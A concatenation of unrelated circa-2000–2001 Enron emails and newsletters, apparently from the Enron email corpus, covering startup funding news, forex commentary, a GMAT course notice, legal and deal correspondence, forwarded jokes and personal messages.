$6 million in its Series A financing. Sutter Hill
Ventures led the round, which also included Red
Coat Capital. Greg Sands, of Sutter Hill Ventures,
and Richard Cooperstein, of Red Coat Capital, will
invest as individual investors.
http://www.collegehumor.com/
http://www.zilo.com/

BOSTON -- Visible Markets, a browser-based auction
marketplace for mortgage-backed securities, asset-backed
securities, and investment-grade corporates, said
it has entered into a strategic partnership with
eSpeed, which operates mulitple buyer/multiple seller
real-time business-to-business marketplaces. This
alliance is in conjunction with Visible Market's
recent Series C round of financing in which eSpeed
will provide the company with financial support
and access to its exchange platform. Other terms
of the investment and  Visible Markets' Series C
round were not disclosed. Visible Market is also
backed by Greylock Management and individual investors.
http://www.espeed.com/
http://www.visiblemarkets.com/

======= M&A =======

PALO ALTO, Calif. -- Informatica, which provides
e-business analytical applications and data integration
platforms, said it will acquire Zimba, a mobile
applications provider for approximately $25 million
in stock. The deal is expected to close in September.
All of Zimba's 21 employees will receive employment
offers from Informatica. Zimba's president and CEO,
Girish Pancha, will join Informatica as vice president
and general manager of the company's platform business
unit. Before he founded Zimba, Mr. Pancha served
as vice president of products at Informatica. Zimba,
a privately held company, is backed by individual
investors.
http://www.zimba.com/
http://www.informatica.com/

NEW YORK -- EZsize said it has acquired its competitor
SizeMe.com, the developer of an online technology
that generates size and fit recommendations to customers
of online apparel retailers, for an undisclosed
amount. As part of the agreement, Peter Rothschild,
the co-founder of SizeMe.com, will join EZsize's
senior management team as vice president of business
development. EZsize is backed by Clayton, Dubilier
& Rice's Grosvenor Street Partners III, senior executives
of Morgan Stanley Dean Witter, and Leucadia Investment.
SizeMe.com is backed by individual investors.
http://www.sizeme.com/
http://www.ezsize.com/

ATLANTA -- HeadHunter.Net, a publicly traded online
recruiting network, said it acquired MiracleWorkers.com,
which operates Web-based recruiting and staffing
services for the healthcare industry, for 1.4 million
shares valued at approximately $8.4 million. MiracleWorkers.com
will retain its name and all of its employees and
will be run as a wholly-owned subsidiary of HeadHunter.Net.
MiracleWorkers.com is backed by Medical Doctor Associates,
Intelligent Systems, and individual investors.
http://www.miracleworkers.com/
http://www.headhunter.net/

======= New Directors =======

LOS GATOS, Calif. -- iSoChip, which provides enterprise
design management technology that enables the re-use
and evaluation of silicon or software IP, said it
added Robert Blair as the fourth member on its board
of directors. Mr. Blair is the CEO of Medoptix,
a company that is developing non-invasive optical-based
technology for measuring blood chemistry.  ISoChip
is venture backed by Poseidon Ventures and individual
http://www.isochip.com/

SCOTTSDALE, Ariz. -- PatchLink.com, a provider of
e-business infrastructure management software focused
on remote, Internet-based, enterprise-wide network
and server management, said it elected Michael M.
Fisher to its board of directors. The number on
board now stands at five. PatchLink has raised funds
through OffRoad Capital. Mr. Fisher is president
of Power Quality Engineering. He previously spent
10 years in executive positions at Computer Associates.
http://www.patchlink.com/

======= New People =======

DALLAS -- Parago, an Internet-based customer relationship
management company focusing on promotional management,
said it promoted its president and COO Ken Johnsen
to president and CEO. Parago is a subsidiary of
CT Holdings, an early stage Internet services company
incubator. Founder and former CEO, Steve Solomon,
will remain chairman of Parago and CEO of CT Holdings.
Prior to joining Parago, Mr. Johnsen was president
and CEO of Metamor Worldwide. Investors in Parago
include TH Lee.Putnam Internet Partners, Dain Rauscher
Wessels Investors LLC, Watershed Capital, and Seaboard
Ventures.
http://www.ct-holdings.com/
http://www.parago.com/

CHARLOTTE, N.C. -- VentureWorx, a venture management
consulting firm, said BioCata, a funding marketplace
for the biotechnology industry, has hired Bill Garner,
M.D. as its chief executive officer. Dr. Garner
was co-founder and CEO of an online business-to-business
marketplace for pre-owned biotech and pharmaceutical
equipment. As the new CEO, Dr. Garner will be in
charge of completing BioCata's Series A funding.
BioCata matches available equity capital with biotech
startups seeking seed and first round investments
of $500,000 to $5 million. VentureWorx provided
BioCata with seed funding.
http://www.biocata.com/

MOUNTAIN VIEW, Calif. -- PartsRiver, a provider
of e-commerce catalog services for the industrial
equipment market, said it has promoted its vice
president of business development, Elisa Parsons,
to the newly created position of president. Ms.
Parsons will be responsible for the expansion of
the company's sales, partnerships, and alliances.
Prior to joining PartsRiver, Ms. Parsons worked
as an associate at Zephyr Management, investing
in domestic and international companies. PartsRiver
raised seed funding in January from founder Vivek
Ranadiv,, founder and CEO of Tibco Software. Between
March and June of this year, PartsRiver raised a
further $4.5 million from individual and strategic
http://www.partsriver.com/

======= VW Corrections =======

NEW YORK -- A VentureWire story on Monday about
eBook-keeper.com's seed funding round incorrectly
listed the company's url as http://www.ebookkeeper.com.
The correct Web address is http://www.ebook-keeper.com.

Has patent law gone too far?

The courts have granted protection to one-click shopping,
but is this way of doing business so obvious and trivial
that lawmakers should intervene?  And what about online
auctions for selling vacant airline seats? Is intellectual
property law able to cope in the era of Amazon.com and
Priceline.com, or has it become patently absurd? Join us
in the search for answers at this year's Wall Street Journal
Technology Summit, featuring Stanford law professor Larry
Lessig.

Register today at http://info.wsj.com/techsummit/

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_____________________________________________________

SPECIAL OFFERS FROM THE MOTLEY FOOL
To unsubscribe or change your preferences:
@enron.com

MsgId: msg-4284-B10102229Address.msg-14:34:42(10-10-2000)

This beaver had a super night of drinking and forgot his hardhat at work the
next day

 - safety first.jpg

[IMAGE] Forums Discuss these points in the Forums:  Forexnews Forum       T=
echnicals Live Charts Analysis available from: Cornelius Luca   J.P. Chorek=
   Technical Research Ltd.   Charts & News featuring Standard & Poor's     =
  Interest Rates   US: Japan: Eurozone: UK: Switzerland:   2.5%  0.15%  3.7=
5%  4.5%  1.75-2.75%       [IMAGE] =09 [IMAGE]  USD Slips On Sagging Confid=
ence Ahead Of This Week's Data  October 29, 7:00 AM: EUR/$..0.89811 $/JPY..=
122.27 GBP/$..1.4457 $/CHF..1.6385  USD Slips On Sagging Confidence Ahead O=
f This Week's Data by Jes Black  At 2:00 PM US Sept Fed Budget (exp 27.1 bl=
n, prev  79.9)  Confidence in the dollar started to slip away last Thursday=
 as investors braced for a potentially poor round of economic data this wee=
k. It all starts with consumer confidence on Tuesday and ends with the Octo=
ber jobs report on Friday. But USD saw more than a little profit taking in =
the European session on Monday as traders squared positions ahead of the st=
orm.  EUR/USD rose to a one-week high of 89.92, just lacking the momentum t=
o get it over the 92-cent mark. The other European majors rose in tandem, c=
limbing to respective one-week highs of $1.4479 against the pound and 1.641=
1 Swiss francs to the dollar. Sterling also benefited from speculation of M=
&A-related inflows. News that U.S. finance house Babcock & Brown may bid fo=
r British rail network operator Railtrack and a weekend newspaper report th=
at German media giant Bertelsmann was eyeing Britain's Carlton Communicatio=
ns added to sterling's appeal, after better than expected GDP data last wee=
k. But more surprisingly was the yen's resilience in the face of a further =
downgrade by the Bank of Japan and their decision to not try and help the e=
conomy with more easy monetary policy. USD/JPY fell to a session low of 122=
.13, but regained key support around 122.25 later in the European session. =
 Given the past two week's of optimism in the face of weak earnings reports=
, US economic data this week will give a better clue as to how severe the d=
ownturn will be. Most forecasts are expected to show sharp declines and con=
firm the US edged closer to recession after the September 11 attacks on the=
 United States. Final October releases include the Conference Board's confi=
dence survey, Chicago PMI, NAPM, the Labor report, this week's jobless clai=
ms and the key Q3 GDP preliminary report. This will be the most widely watc=
hed release because if the Q3 GDP figure proves to be worse than the negati=
ve 0.9% expected, it will have a doubly harsh effect on USD as traders also=
 anticipate a larger decline in the October Labor report.   In contrast, ha=
lf the Eurozone nations will be on holiday this Thursday, which will lead t=
o thin markets and high volatility with the bulk of US data due on Wednesda=
y and Thursday. Therefore, downside risks to USD are enhanced, with only UK=
 and Eurozone PMI data to weigh on the euro and pound this week. Comments f=
rom ECB member and Bundesbank president Welteke echoed the ECB's recent ass=
essment by saying the central bank would  cut rates if it could do so witho=
ut hurting price stability. Welteke also saw Eurozone economic growth signi=
ficantly below potential at the present and that a return to long term grow=
th of 2.5% will be delayed. But, expansionary effects of this years interes=
t rate cuts are still in pipeline, he said.  Meanwhile, Q3 company earnings=
 reports will continue to play an important role in this week's US stock ma=
rket and therefore the dollar. So far, over 3/4 of the companies reporting =
matched or exceeded projected earnings targets, albeit for drastically lowe=
r forecasts. A majority of companies are reporting after the bell and given=
 this week's upcoming data, trade is likely to be thin ahead going into Wed=
nesday. Both Dow and Nasdaq futures are in negative territory.  Today's ble=
ak economic and inflation outlook in Japan also failed to spur investors to=
 go long the dollar against the yen. USD  was unable to benefit from the Ba=
nk of Japan's decision to keep monetary policy unchanged despite their fore=
cast of a deteriorating economy and rising deflationary concerns. The BoJ's=
 decision to hold interest rates near zero (ZIRP) and maintain a floor of 6=
 trillion yen in reserves did not impress FX markets.   But inaction was ex=
pected and offers to sell USD above 122.50 capped any dollar gains. Dealers=
 say failure to extend gains beyond 123 level indicates that a minor top ha=
s been formed around last week's two-month high of 123.35. USD/JPY support =
seen at 122.30/40, and a break of 122.25/30 opens the way for a breach of t=
he key 122.00 level, from which point most traders based their new long pos=
itions and where stop loss orders are likely to be placed. USD/JPY now hove=
ring around 122.30.  The BoJ also offered a sharp downward revision in its =
own economic growth and price outlooks for fiscal 2001 and 2002, saying the=
 economy was in a "severe" adjustment phase. The Bank expects a further fal=
l in exports and output to affect domestic demand in the second half of thi=
s fiscal year and not reach a bottom until the second half of FY02/03. Afte=
r that, the bank expects exports to recover, but sees prices on continued, =
gradual declining trend in FY01/02, and FY02/03. The BoJ board's full outlo=
ok for FY01/02 GDP ranged from -1.6% to -0.6%. FY01/02 CPI ranged from -1.3=
% to -0.9%. However, the bank's own figures are not seen as making any diff=
erence in monetary policy because BoJ Governor Hayami sees structural refor=
m as the key to growth, not more money.  In other news, Finance Minister Sh=
iokawa said the government will still aim for the 30 trillion JGB cap, but =
should remain flexible to unforeseen changes in economic environment. But w=
orrying markets is what those "unforeseen changes" might be. If that includ=
es today's downward revision to growth and inflation, then markets will be =
very disappointed with the new Koizumi government's promise of reform. Any =
violation of this key reform is likely to push the yen lower.  Shiokawa als=
o said standards should be set for banks to foreclose on borrowers with exc=
essive debts. "There are companies that are borrowing from banks that haven=
't paid any dividends to shareholders for some years, whose debts have been=
 forgiven, but are still unable to recover. Banks should be able to foreclo=
se on such firms," he said. "There should be a set of standards that makes =
it easier for banks to do so. That would be one way of resolving bad loans.=
" The Financial Services Agency has been leading efforts to resolve the mas=
sive bad loans at banks as part of the government's plans to restructure th=
e country's financial system but so far has made little headway.  =09[IMAGE=
] Audio Mkt. Analysis GBP Ralies, JPY Falters       Articles & Ideas  Specu=
lative Flows Point to Further Euro Losses   ECB KEEPS RATES UNCHANGED AT 3.=
75%       Articles & Ideas Forex Glossary   Economic Indicators   Forex Gui=
des   Link Library      [IMAGE] =09
=09=09[IMAGE][IMAGE] [IMAGE][IMAGE]=09
=09=09  This e-mail is never sent unsolicited. If you wish to unsubscribe f=
rom this or any other Forexnews.com newsletters, please click here .  =09

GMAT REVIEW AT ENRON

The next GMAT review course at Enron will begin the week of October 15th.
Two schedules are being offered:
	Course # 7129-00:  Tuesdays, Oct 16 - Dec 11 (no class Nov 20)
	Course # 7129-01:  Thursdays, Oct 18 - Dec 13 (no class Nov 22)
PLEASE NOTE that the two schedules are not interchangeable; employees should
enroll in their preferred schedule and stick to that schedule.

Course details:
	- Class is held at Enron in room ECN560 and is restricted to Enron employees
	- Each course is limited to eight students
	- Meets once a week for eight weeks
	- Hours are 6:00-9:00 PM (first session will run til 10:00 pm to
		include initial exam)
	- Expect 4-5 hours of homework per week
	- Course includes a total of four practice GMAT exams
	- Ends the second week of December, allowing employees to take the
		GMAT in December and meet a January application deadline.
	- Special discount of $200 off the regular Princeton Review tuition
Enron has allowed this program to be hosted in the Enron Building for convenience of its employees.  Individuals are responsible for paying their own fees.  Financial support from Enron is at manager's discretion and is subject to the usual tuition reimbursement constraints around budget and relevance to organizational performance.

HOW TO ENROLL:
	1.  Print out the attached registration form.
	2.  Complete the form, but please note the following 
		SPECIFIC INSTRUCTIONS:
		A.  Fill out the student information completely, including
			your email address.
		B.  In the Enrollment section, where it says "Please enroll
			me in GMAT Class Size-8 Course # _________", 
			please indicate either course #7129-00 (Tuesdays) or # 7129-01 (Thursdays).  
If you wish, you may indicate one course as your first choice and the other as your second choice.
		C.  In the Payment section:  For the course at Enron, the
			tuition is discounted by $200, to $899.  
			FULL PAYMENT of this amount by credit or debit card is required on the registration form.  
			Be sure to indicate complete cardholder information.
	3.  Fax the completed form to Princeton Review at (713) 688-4746.

Faxes are time-stamped by the receiving fax machine at Princeton Review.
The first eight valid registration forms received for each course will be honored.  
Registrations received after the first eight will be placed on awaiting list for the course or courses indicated.
Enrollments and waitlists will be confirmed by email.

Employees who are not able to take the course at Enron can take a course at
the Princeton Review office at the same $200 discount.  
The next courses at the Princeton Review office start the week of October 20.  
Call (800)2REVIEW to register or for future schedules.

IMPORTANCE OF THE GMAT:
	The GMAT score is a critical part of your application to business
school.  Indeed, in many cases, it is the single most decisive statistic
that admissions offices use in evaluating applicants.  While work
experience, GPA, essays, and interviews are all important components of your
application, the GMAT is the one objective factor that you can substantially
improve in a short period of time.

THE TEXAS MBA TOUR:
	All interested Enron employees are invited to attend the Texas MBA
Tour, which will be in Houston on Wednesday, January 23. The Texas MBA Tour,
of which The Princeton Review is a partner, is a group of six business
schools that host a joint MBA panel discussion and admissions fair.  The
participating schools are Texas, Rice, SMU, Baylor, TCU, and Texas A&M.  The
Princeton Review has agreed to handle registration for the event, so call
(800) 2REVIEW to register.

http://home.enron.com:84/messaging/gmatregform.pdf

---------------------- Forwarded by Scott Neal/HOU/ECT on 04/24/2001 03:48 PM 
From: Jennifer Burns/ENRON@enronXgate on 04/23/2001 04:45 PM
To: Phillip K Allen/HOU/ECT@ECT, John Arnold/HOU/ECT@ECT, Airam 
Arteaga/ENRON@enronXgate, Tamara Jae Black/HOU/ECT@ECT, Michael W 
Bradley/HOU/ECT@ECT, Kimberly R Brown/HOU/EES@EES, Jennifer 
Burns/ENRON@enronXgate, Angie Collins/ENRON@enronXgate, Shirley 
Crenshaw/HOU/ECT@ECT, Jennifer Fraser/ENRON@enronXgate, Mike 
Grigsby/HOU/ECT@ECT, "Gross, Adam" <Adam.Gross@ENRON.com>@SMTP@enronXgate, 
Rogers Herndon/HOU/ECT@ect, Gary Hickerson/HOU/ECT@ECT, Kimberly 
Hillis/ENRON@enronXgate, Vince J Kaminski/HOU/ECT@ECT, John J 
Lavorato/ENRON@enronXgate, Kevin McGowan/ENRON@enronXgate, Scott 
Neal/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT, Kevin M Presto/HOU/ECT@ECT, Ina 
Rangel/HOU/ECT@ECT, Jeffrey A Shankman/ENRON@enronXgate, Hunter S 
Shively/ENRON@enronXgate, Fletcher J Sturm/HOU/ECT@ECT, Helen Marie 
Taylor/HOU/ECT@ECT, Stacy Weatherly/Corp/Enron@Enron, Bill 
White/NA/Enron@Enron, Judy Zoch/NA/Enron@ENRON
cc:  
Subject: Trader's Roundtable Meeting

There will be a trader's roundtable meeting tomorrow, April 24th at 4:00PM in 
EB3321.  Please let me know if you are unable to attend.

Thank you,
Jennifer
3-9440

---------------------- Forwarded by Rufino Doroteo/HOU/ECT on 04/21/2000 
01:24 PM ---------------------------
   
	From:  Marilyn Rivera                           04/21/2000 01:17 PM
	
To: Rufino Doroteo/HOU/ECT@ECT, rebeccar@bcm.tmc.edu, mmartinez@tmh.tmc.edu
cc:  
Subject: FW: (GAMES)

games
---------------------- Forwarded by Marilyn Rivera/HOU/ECT on 04/21/2000 
01:15 PM ---------------------------

Joel Rivera <Joel.Rivera@Halliburton.com> on 04/21/2000 12:25:34 PM
To: "'Marilyn Rivera'" <Marilyn.Rivera@enron.com>
cc:  

From:?? Corey Boudreaux 
Sent:?? Monday, April 17, 2000 3:41 PM 
To:???? Joel Rivera 
Subject:??????? FW: (GAMES) 

From:?? Paul Lightfoot 
Sent:?? Monday, April 17, 2000 11:22 AM 
To:???? Corey Boudreaux 
Subject:??????? FW: 

From:?? Angela Willis 
Sent:?? Tuesday, March 21, 2000 1:14 PM 
To:???? Paul Lightfoot 

has some different ones 

ANGELA 
?angela.willis@halliburton.com? 
? (713) 676-8572 

From:?? Linhoff, Connie S. @ Houston Galleria 
[SMTP:clinhoff@cbrichardellis.com] 
Sent:?? Tuesday, March 21, 2000 1:07 PM 
To:???? 'Angie' 

From:?? Kapalski, Stephen @ Houston Galleria
Sent:?? Tuesday, March 14, 2000 4:52 PM
To:???? Linhoff, Connie S. @ Houston Galleria
Subject:??????? FW:  

From:?? McClymonds, Reagan @ Houston Galleria
Sent:?? Tuesday, March 14, 2000 4:48 PM
To:???? Kapalski, Stephen @ Houston Galleria
Subject:??????? 

<<Airhock.exe>> <<Sticks.exe>> <<Sol.exe>> <<Same.exe>> <<Hangman1.exe>> 
<<Jacks.exe>> <<Frogger.exe>> <<Blocks.exe>> <<Yacht1.exe>> 

Reagan McClymonds 
 <<Airhock.exe>>  <<Sticks.exe>>  <<Sol.exe>>  <<Same.exe>>  
<<Hangman1.exe>>  <<Jacks.exe>>  <<Frogger.exe>>  <<Blocks.exe>>  
<<Yacht1.exe>> 

 - Airhock.exe
 - Sticks.exe
 - Sol.exe
 - Same.exe
 - Hangman1.exe
 - Jacks.exe
 - Frogger.exe
 - Blocks.exe
 - Yacht1.exe

----- Forwarded by Shonnie Daniel/HOU/ECT on 09/19/2000 01:44 PM -----

	Eva Neufeld@ENRON
	09/19/2000 11:19 AM
		 
		 To: Shonnie Daniel
		 cc: Janet Place/NPNG/Enron@ENRON
		 Subject: Proposed Revision to PSA

Shonnie,
 As a result of discussion with our partner Williams,  one revision to the 
PSA is requested:
 
 In section 8.2 Seller's Rights.  line two insert "wholly-owned" between 
"its" and "subsidiaries".   This mirrors the language in 8.1 Purchaser's 
Rights.

 Thanks.  Eva.

The report named: West VaR <http://trv.corp.enron.com/linkFromExcel.asp?report_cd=36&report_name=West+VaR&category_cd=2&category_name=WEST&toc_hide=1&sTV1=2&TV1Exp=Y&current_efct_date=11/15/2001>, published as of 11/15/2001 is now available for viewing on the website.

Things are good....busy as usual.  Let me know about lunch.  If you 
are not busy this weekend, its Corinnes b-day and we are having a 
party over at the Hunters Glen Clubhouse where I live on Saturday 
night with about 60 people, so let me know if you are free.
Have a good night.
-- 
NGFC, tcooper@ngfc.com on 16/10/2001

Anytime 9-11 Friday if fine.

---------------------- Forwarded by Kay Mann/Corp/Enron on 05/16/2001 08:55 

"DeBerry, Jeremiah A." <JeremiahDeberry@paulhastings.com> on 04/24/2001 
02:59:19 PM
To: "'michael.young@northwestern.com'" <michael.young@northwestern.com>, 
"'kay.mann@enron.com'" <kay.mann@enron.com>, "'chris.booth@enron.com'" 
<chris.booth@enron.com>, "'jkeffer@kslaw.com'" <jkeffer@kslaw.com>, 
"'mreuter@kslaw.com'" <mreuter@kslaw.com>
cc: "Kahn, Marguerite R." <MargueriteKahn@paulhastings.com>, "Wright, 
Tremaine S." <TremaineWright@paulhastings.com> 

Subject: Letter Agreement -- Execution Copy

"paulhastings.com" made the following annotations on 04/24/01 15:59:29
NEW E-MAIL ADDRESSES AT PAUL, HASTINGS, JANOFSKY & WALKER LLP

We have changed our e-mail address.  Our new domain name is
paulhastings.com.  In most cases, our address is composed of
conventional first name and last name plus @paulhastings.com.  Here are
two examples: janesmith@paulhastings.com and danjones@paulhastings.com.
If you have any questions, please contact us at noc@paulhastings.com.

"The information transmitted is intended only for the person or entity
to which it is addressed and may contain confidential and/or privileged
material. Any review, retransmission, dissemination or other use of, or
entities other than the intended recipient is prohibited. If you
received this in error, please contact the sender and delete the
material from all computers."

Attached is the  execution copy of the Letter Agreement.?? We will insert 
the  appropriate date upon execution and delivery of? such  agreement.
?
Please contact me  with any questions or comments regarding this matter.?

************************************************
Jeremiah A. DeBerry, Esq.
Paul Hastings Janofsky & Walker  LLP
399 Park Avenue
New York, New York 10022
Phone: (212) 318-6458
Fax:???? (212)  319-4090
?
 - 757J05!.DOC

Please disregard the version I sent about 30 minutes prior and use these.

We are finalizing the master netting agreement among BNP Paribas and Enron Corp., et al for execution, and have received copies of all underlying documentation with the exception of documentation for Enron Metals Limited.  Can you fax or e-mail me a copy of what documentation Enron Metals Limited signs--ISDA, general terms and conditions, etc. with BNP Paribas?   We need to receive this documentation ASAP.

Marie

marie.heard@enron.com

Dear David and Dan:

	I want to thank you for making the effort to come to Houston last month and for your kind follow-up letters.  I enjoyed the opportunity to meet you, and I also enjoyed our discussion.  Don't forget my offer to treat you to a game at Enron Field.  All the best.  Jim

Congratulations on your new adventure.  

I'll miss having you as a neighbor and a colleague.

Kay

From: Enron Americas - Office of the Chairman on 04/18/2001 11:00 PM
To: ENA Employees
cc:  
Subject: Asset Marketing

We are pleased to announce the creation of a new group - Asset Marketing - 
within Enron Americas. The Asset Marketing group will have responsibility for 
the asset divestment function within Enron Americas and work with Generation 
Investments on selected portfolio acquisitions as well as managing power 
origination funding requirements with Treasury.   

Don Miller will head the Asset Marketing group and will report directly to 
the Office of the Chair, Enron Americas. Joining Don's group will be Stuart 
Zisman.  Stuart was formerly in ENA Legal, having most recently worked on the 
sale of ENA's peaker plants with Don.

Please join us in congratulating Don and Stuart in their new roles.

---------------------- Forwarded by John Craig Taylor/HOU/ECT on 12/12/2000 
01:10 PM ---------------------------

"Craig Taylor" <craig_taylor67@hotmail.com> on 12/12/2000 11:44:34 AM
To: john.craig.taylor@enron.com
cc:  
Subject: A good clip - please use your speakers

>From: "Jeff Hildreth" <jeff@abs-insurance.com>
>To: <jeff@abs-insurance.com>
>Subject: FW: FW: A good clip - please use your speakers
>Date: Tue, 12 Dec 2000 10:50:48 -0600
>
>
>Funny!
>

_______
Get more from the Web.  FREE MSN Explorer download : http://explorer.msn.com

 - salmon.asf

Don:
Can you give me an idea of where things stand on the Transfer Agreement?  I 
think that we were just waiting for you to get signed up correctly on Enron 
Online.  I will be going on maternity leave shortly and just wanted to figure 
out how much I could get done before I leave.

EB 3892

I've sent a calendar invitation from Eric Gadd to you for a previously mentioned meeting.  Something didn't go through properly.  If you didn't get the invitation or can't attend, please let me know.  Thanks.

Nick,

My trip to Stanford is on. I shall be glad to meet
on Thursday for dinner. You can reach me at my cell 
phone (713 410 5396) and at vkaminski@aol.com.

Vince

darling, you must think i am perfectly insane, and i probably am, but i
couldn't possibly sneak out tomorrow, this week is just too insane, can we
please hook up next week? i'm going to LA for work early next week, so maybe
we can lunch or coffee on thursday or friday? and guess the fuck what? i got
an art studio! in SF! and it's cheap! and i can ride my bike there! it's
truly amazing, and i have raphael to thank for having good connections and
this is indeed a very very very good thing cuz it makes me happy......!

From: jdasovic@enron.com [mailto:jdasovic@enron.com]
Sent: Wednesday, September 06, 2000 7:07 PM
To: Colleen Silva

ferget it.  i'm just as swamped.  i don't care if you've got a goddamed
boyfriend and a busy job.  friday we're having coffee.  for 30 rotten
minutes.  you name the place and the time.

hugs and kisses,
jeff

Colleen Silva <Csilva@redsky.com> on 09/06/2000 04:17:16 PM

To:   "'jdasovic@enron.com'" <jdasovic@enron.com>
cc:
Subject:  RE:

next week would probably be best, as i am swamped with hundreds of emails
and my project/beast... how are you and how is school?

Sent: Wednesday, September 06, 2000 1:56 PM

i expected as much.  and lunch?

Colleen Silva <Csilva@redsky.com> on 09/06/2000 03:50:49 PM

To:   "'Jeff Dasovich'" <jdasovic@enron.com>
cc:

burning man was lofty, writer's conference was total debauchery, of course
i'm famous now...

From: Jeff Dasovich [mailto:jdasovic@enron.com]
Sent: Tuesday, September 05, 2000 5:04 PM
Subject:

did you burn the man?  are we having lunch?  are you famous now?

This should have been cc to you.  I think development made a mistake and cc 
carrie hollomon
---------------------- Forwarded by Phillip M Love/HOU/ECT on 01/30/2001 
05:14 PM ---------------------------

Ernie
01/30/2001 05:16 PM
Sent by: Phillip M Love
cc:  
Subject: Class Confirmation - Coaching For Performance

You are enrolled in the following class: 

Coaching For Performance

Class Days and Times:
  3/30/2001  08:00:00 AM - 12:00:00 PM
Room # & Location: EB560,  Houston
Last Day to Cancel: 03/27/2001
Participant Fee: $300.00
Note: 

Please review any prerequisite material to validate your eligibility in this 
class.
Your Company and RC will be charged $300.00

If you have any questions, please call the Development Center Team at 
713-853-0357.

Thank you.

>From: michael do <mqdo@yahoo.com>
>To: Amalia Ochoa <maya.ochoa@ni.com>,  Amie Phillips
><amiephillips@prodigy.net>,  Pon Vongsambath <pon_v@email.msn.com>, Jamie
>Wittorf <jwittorf@yahoo.com>,  Scott David Arndt <sdarndt@yahoo.com>, Aaron
>Clark <aaronsclark@yahoo.com>,  Andrew Cottrill
><andrew.cottrill@pcorder.com>,  Cecily Gentry <cecily@dhja.com>, Chris
>Hernandez <chrishernandez@email.com>,  Chi Nguyen <chi325@hotmail.com>,
>Lily Nguyen <lily.nguyen@usaa.com>,  Minnie Nguyen <mnguyen1226@aol.com>
>Subject: Fwd:
>Date: Tue, 28 Nov 2000 11:48:50 -0800 (PST)
>
>
>Note: forwarded message attached.
>
>
>__________________________________________________
>Do You Yahoo!?
>Yahoo! Shopping - Thousands of Stores. Millions of Products.
>http://shopping.yahoo.com/

_______

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A TRUE FRIEND

When you are sad ...
I will get you drunk and help you plot revenge
against the scum sucking bastard who made you sad.

When you are blue ...
I'll try to dislodge what ever's choking you.

When you smile ...
I'll know you finally got laid.

When you are scared ...
I will rag you about it every chance I get.

When you are worried ...
I will tell you horrible stories about how much worse it could be and tell
you to quit whining.

When you are confused ...
I will use little words to explain it to your dumb ass.

When you are sick ...
Stay the hell away from me until you're well again, I don't want whatever
you have.

When you fall ...
I will point and laugh at your clumsy ass.

This is my oath ...
I pledge till the end. Why you may ask? ...
Because you're my friend.

Steven Diep
Software Application Engineer
StevenDiep@NRGcomputers.com
http://www.NRGcomputers.com
281-820-NRG1 office
713.298.NRG1 cellular
713-608-4280 pager
503-961-6897 fax
www.NRGcomputers.com
www.TopsDrop.com

_______

PROS Revenue Management Announces Record Third Quarter and Year-to-Date 2000

Major milestones, company records and client successes achieved

October 30, 2000-Houston- PROS Revenue Management, the world's leader in 
revenue management science and software, and the pioneer and dominant 
provider of revenue management to the airline and energy industries, today 
announced that the third quarter of 2000 was the company's most successful 
yet, with record revenues and profits. Third quarter revenue for 2000 was a 
50% increase over the third quarter of 1999. Year-to-date revenue for 2000 
approximates the full year revenue for 1999. Additionally, the first nine 
months of 2000 were cash flow positive and enhanced PROS' strong balance 
sheet. This follows record annual revenues and profits for 1999.

"During the third quarter of 2000 we achieved successful results in many key 
areas. Most important were science breakthroughs in network demand 
forecasting, scientific selection of inventory for e-commerce, and 
customer-centric revenue management. Another milestone was the production 
cutover of our first energy products," says Bert Winemiller, Chairman, 
President and CEO of PROS Revenue Management. "Our goal is to be the first 
mover in a major new category of revenue management and we have the talent 
and financial resources to achieve this goal. The third quarter of this year 
proved to be another landmark with record revenues, record profits and the 
launch of new products in the energy market."

Major milestones of 2000 include:

* The PROS 8th Annual Conference held in October was a huge success and is 
the largest revenue management conference in the world, with industry 
leaders, analysts and representatives from over 70 companies attending.
* In the airline industry, PROS completed signed contracts with airline 
companies AirTran Airways, Avianca, Continental Airlines, China Southern 
Airlines, Gulfstream International, LanChile, Philippine Airlines, Swissair, 
Thai Airways and Virgin Atlantic.
* Contracts were signed in the energy, rail, healthcare and broadcasting 
industries, including a major US gas pipeline company, German rail line 
Deutsche Bahn, one of the top ten pediatric hospitals in the world, and TV 
Azteca, one of Latin America's largest broadcasting companies.
* PROS announced its first Application Service Provider (ASP) contracts for 
the healthcare and the energy industries.
* PROS posted a record backlog as of September 30, 2000, and a record number 
of contracts signed in one year.
* The PROS Advisory Board was formed in June, and consists of many industry 
leaders.
* PROS announced a new e-commerce product, eCustomerRevenueManagement.
* PROS' new Technical Services Group was formed, enhancing customer service.

About PROS Revenue Management

PROS Revenue Management provides system solutions to the airline, energy, 
cargo, rail, healthcare and broadcast industries, and has delivered over 180 
systems to more than 82 clients in 25 countries. Recent contracts with 
clients include AirTran Airways (AMEX: AAI), Continental (NYSE: CAL), China 
Southern Airlines (NYSE: ZNH), LanChile (SGO: LAN.SN), Swissair (SWX: SAG), 
Virgin Atlantic (NasdaqNM: VIRGY) and TV Azteca (NYSE: TZA).

The PROS mission is to maximize the revenue of each client using PROS' 
world-leading revenue management science, systems solutions and best 
practices business consulting. PROS clients report annual incremental revenue 
increases of 2-8% as a result of revenue management. PROS solutions forecast 
demand, optimize inventory and provide dynamic pricing to maximize revenue.

Founded in 1985 in Houston, PROS Revenue Management has a five-year 
compounded revenue growth of 40%, in large part due to the intellectual 
capital of its staff. Over fifty percent of PROS professional employees have 
advanced degrees and the staff speaks a total of 26 languages. For more 
information on PROS Revenue Management, please visit www.prosRM.com.

Contact:
Sean K. Thompson
713-335-5813
713-529-7037 - fax
sthompson@prosRM.com

Attached are drafts of the comments on the Proposed and Alternate Decisions
pertaining to the PX credit and the suspension of Direct Access.

 <<X25517.DOC>>  <<X25496.DOC>>

Jeanne Bennett

 - X25517.DOC 
 - X25496.DOC 

Please see attached for review and comment. I did not know if it should be 
you or Cheryl.  Thanks.

Mary Cook
----- Forwarded by Mary Cook/HOU/ECT on 05/11/2001 10:35 AM -----

	Joseph Marovich <Joseph.Marovich@morganstanley.com>
	05/11/2001 10:25 AM
	Please respond to Joseph.Marovich
		 
		 To: mary.cook@enron.com
		 cc: "tom.doukas" <tom.doukas@enron.com>
		 Subject: [Fwd: Journal Letter]

Hi Mary,
Per our conversation, please find attached the document needed for
transfer.
Regards,
Joe

-------- Original Message --------
Subject: Journal Letter
Date: Fri, 11 May 2001 11:17:18 -0400
From: Anthony Capolongo <A.Capolongo@morganstanley.com>
Reply-To: A.Capolongo@morganstanley.com
Organization: Morgan Stanley
To: Joseph Marovich <Joseph.Marovich@morganstanley.com>

Joe:

Please forward the attached journal letter to Enron for signature. There
is a second page for signatures that came from Scott Rockoff in a
compliance e-mail.

